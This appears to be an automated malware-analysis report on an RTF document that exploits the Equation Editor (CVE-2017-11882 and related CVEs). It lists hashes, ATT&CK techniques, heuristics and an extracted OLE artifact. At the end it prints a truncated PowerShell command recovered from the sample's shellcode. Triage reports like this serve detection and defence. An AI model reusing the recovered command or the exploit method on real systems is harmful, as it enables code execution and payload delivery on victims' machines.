RTF malware analysis — malicious · cb944a96d3366d41

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28

MD5: d0ec47d65ac87b36df883f3f409cab1a SHA-1: 58cfe767440a5e65a3e31fee6b4b31fae883e53a SHA-256: cb944a96d3366d41e3b0bea432b5df8506ff7e0478122df3808c4a651fd60123

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	3590 bytes
SHA-256: `34d168fa1fb1cab42148428a3869504fa7909ed12755ba674497e29da1e23df3`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE

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